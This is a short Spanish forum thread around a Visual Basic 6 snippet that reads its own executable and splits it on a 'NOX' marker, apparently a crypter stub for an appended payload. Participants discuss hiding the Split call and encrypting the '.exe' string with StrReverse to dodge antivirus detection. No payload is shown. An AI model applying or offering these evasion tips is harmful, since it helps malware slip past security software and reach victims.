Dim RESIGN        As String
 
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
    RESIGN = Space(LOF(1))
    Get #1, , RESIGN
Close #1
 
 
Dim JAKA()        As String
XX = Split
JAKA() = XX(RESIGN, "NOX")
 
 

Creo que el antivirus me detecta el Split y e pensado en ofuscarlo asi,¿¿que opinais??

si, ¿pero el ejemplo que e puesto sirve para ofuscar Split?es un ejemplo para usarlo con otras variables.

asi no se reemplaza a split ya que la llamas igual.
ADEMAAAAASSSS.. para que ofuscar split si NO es detectada?

si esa linea te queda detectada es el ".exe" cifra esa cadena (con str reverse deberia alcanzar)